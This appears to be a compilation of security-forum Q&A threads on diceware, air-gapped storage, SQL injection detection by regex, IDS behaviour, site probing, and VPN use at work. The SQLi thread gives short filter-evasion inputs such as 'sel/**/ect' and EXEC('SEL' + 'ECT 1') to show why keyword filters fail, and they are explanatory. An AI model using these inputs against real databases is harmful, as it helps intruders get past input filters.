Implementation of diceware: do I have to simulate dice roll? I am creating a small utility for generating passwords based on the diceware method. At the moment I am very close to the algorithm of real diceware - i.e. I simulate rolling dice n-times to get a single word from the list.

I am wondering though if this is really necessary. Wouldn't it be sufficient to just get a random number between 0 and length(diceware_list) -1 to obtain a single word?

Would such a simplified approach affect security of generated password? (I am using cryptographically secure source of random numbers so this is not a concern).

I think that the simplified method should be ok, but I am unsure. Could anyone help with that, please?

The reason Diceware advocates using dice to select a password is that it ensures the password the user gets is generated randomly. So no, as long as you are certain your program is selecting the password in an unpredictable (cryptographically secure random selection with a uniform distribution) manner, it doesn't matter how the password is actually generated.

There are other reasons for using dice that are impossible to replicate in any program:

It's completely transparent to the user. They don't have to trust a computer program to use an appropriate cryptographically random number generator or to not leak their password to malicious actors.
100% malware-proof. Unless you have a webcam pointed at your table while you're rolling the dice, it's physically impossible for a malicious program on your PC to observe or influence the password you're generating.

Unless your users are particularly paranoid though, there's a good chance they'll be okay with forgoing these benefits in favor of the added convenience of generating a new password instantly.


Is there any architecture where the data storage is completely separate? I want the hard disk where my data is stored to be secure from foreign external access. Is there a physical possibility to protect my hard disk or any kind of data storage, like a computer architecture where my memory is physically disconnected from the whole system as long as I want to access it?

What you are asking about for your storage is often called Air Gap. You can build it quite easily in a number of ways. But there are plenty of drawbacks:

Whenever you want to do something with your data, you will have to connect your Memory. Anyone attacking you will simply wait for that moment. Stuxnet seems to have worked that way. Computer viruses generally know how to cope with this since the beginning, when they used to spread via floppy disks. I have not checked in detail, but I guess recent ransomware is hibernating some time on the victims computers to make sure that enough relevant devices are mounted (Neal Stephenson even wrote a novel around that plot: Reamde).
Additionally, if you need to work with the data on a regular basis, mounting and dismounting the device will be quite burdensome. So you, or whoever is supposed to use the system might get bored and stop disconnecting.

Still want to do it?

As mentioned by others, you can use a thumb drive, external hard drive, SD-card, etc. If you want to defend your data against destruction (e.g. ransomware), a device with write protection (e.g. SD Cards) might be preferable.
By the way, you can also physically disconnect an (additional) internal hard drive.
If you are not so strict about the disconnecting being physical, you can simply unmount your drive (please check the specific steps needed on your OS). A casual attacker might miss an unmounted drive, but I would not rely on that.
Last, but not least, you can put your data on an encrypted partition (e.g. using  VeraCrypt or BitLocker). Unmount the partition, when not in use. Actually, while this is not exactly what you asked for, it probably will be your best choice in most scenarios, as it protects against whole a number of attacks. You can put that encrypted partition on an external drive, if you still want your physical separation. Also, be sure to back it up frequently to prevent destruction by ransomware.


Is it possible to detect 100% of SQLi with a simple regex? I'm wondering if it is possible to detect 100% of the possible SQLi attacks using a simple regex.

In other words, using very simple PHP code as an example:

if (preg_match("/select/i", $input)) {
    attack_log("Possible SELECT SQLi detected.")
}

The questions are:

Will that regex catch all possible SQLi attacks that use SELECT? If not, is it possible to change that regex so that it is going to detect all injections that rely on SELECT?
Is it possible to change that regex to so that it will catch all possible SQLi, so not only SELECT statements but also all the rest? I'm afraid that to achieve this I would need to add every possible SQL keyword to the regex, including "AND" and "OR".
Supposing it's not possible or feasible to detect all SQLi by trying to match all the possible SQL keywords, is there a limited subset of keywords that would allow me to detect the vast majority of possible attacks?

Keyword filtering for SQLi is not a good technique. There are too many ways to bypass it.

Crazy things like sel/**/ect might work, for instance. Or playing games with substr(). And then there's EXEC('SEL' + 'ECT 1').

There are many guides on how to bypass common filtering techniques.

But then you might ask if there is a superset of things to filter for (like select and /**/ and substr and EXEC), but then the list gets very, very long, and you still might not get a comprehensive list.

The better approach is to understand the range of acceptable inputs and protect those or to make it ineffective to use SQLi through proper design.


IDS device behaviour Which of the following is a reasonable response from the ids when its detects ip packets where ip source address and port is the same as the destination IP address and port

A. Allow the packet to be processed by the network and record the event
B. Record selected information about the pockets and drop the pocket

In IDS in the classical sense is passive (D for detection) and can not drop a packet. In IPS instead (P for prevention) can drop the packet and better should do it. But the usage of the words IDS, IPS, firewall etc is too vague today that it is not clear which kind of technique you are talking about.


I detected someone probing my site for weaknesses, what can I do about it? My site has been getting probed by a bunch of IPs from Morroco (trying to submit forms, trying out potential URLs, trying to execute scripts etc..), I have a strong suspicion it's the same person after observing the pattern of how they behave. Looking at the logs they don't seem to have found any vulnerabilities. I'm not sure what I should do about this other than keep observing. Blocking the IP doesn't seem useful since it seems to change.

Is there anything I can do about it at this point?

Welcome to the internet! This is the normal situation, business as usual.

You don't have to do anything, but to harden your website. Probes like that occurs all the time, on every site, day and night. Some people call that "voluntary pen testing."

Depending on your site, there are some tools that you can use to help you keep those kinds of probes out of the site. Wordpress sites have a couple plugins (you can search for Security plugins on the plugins directory), and I believe the other popular platforms out there will have equivalent plugins.

Other tool I usually employ is fail2ban. It can parse your webserver log files, and react accordingly.


Can I use a VPN to disguise internet traffic at work? I have seen this question asked before; I want to know if I can use a VPN to disguise my internet traffic so my employer can't see what websites I'm visiting while at work. However, unlike most people, I do all of my work on my personal computer, which has no sort of monitoring software or anything on it from the company. They give us a work laptop but permit us to use personal ones, so I use my alienware for most things at work.

My setup I wanted to use would involve setting up a VPN server at home using PPTP and then connecting to it from work. My understanding is that this will route all of my traffic through my internet at home, thus preventing them from seeing what I'm doing with the internet. I will still be using the work Ethernet which goes out through a router here, so I'm not sure if they'll be able to see anything or not.

Again, I have no monitoring software installed on this laptop. I know that my work uses monitoring software on our work laptops, but I wouldn't want to use a VPN on there, just my personal one. Basically, I want anything and everything I do on my personal laptop to be as untracable (or as hard to trace) as possible for the people at my work, because it's just that; personal. In fact, all of the work-related activities I do don't even sit on the host Linux operating system, but on a Windows virtual machine. I do all of my personal things from that host to keep things separate. I just like to keep my personal life isolated from work.

What do you guys think? Would this work?

PPTP is not secure How can I tell if a PPTP tunnel is secure? If you want to browse the Internet without being monitored then use a program like OpenVPN. Please see the comment below your question as it is important.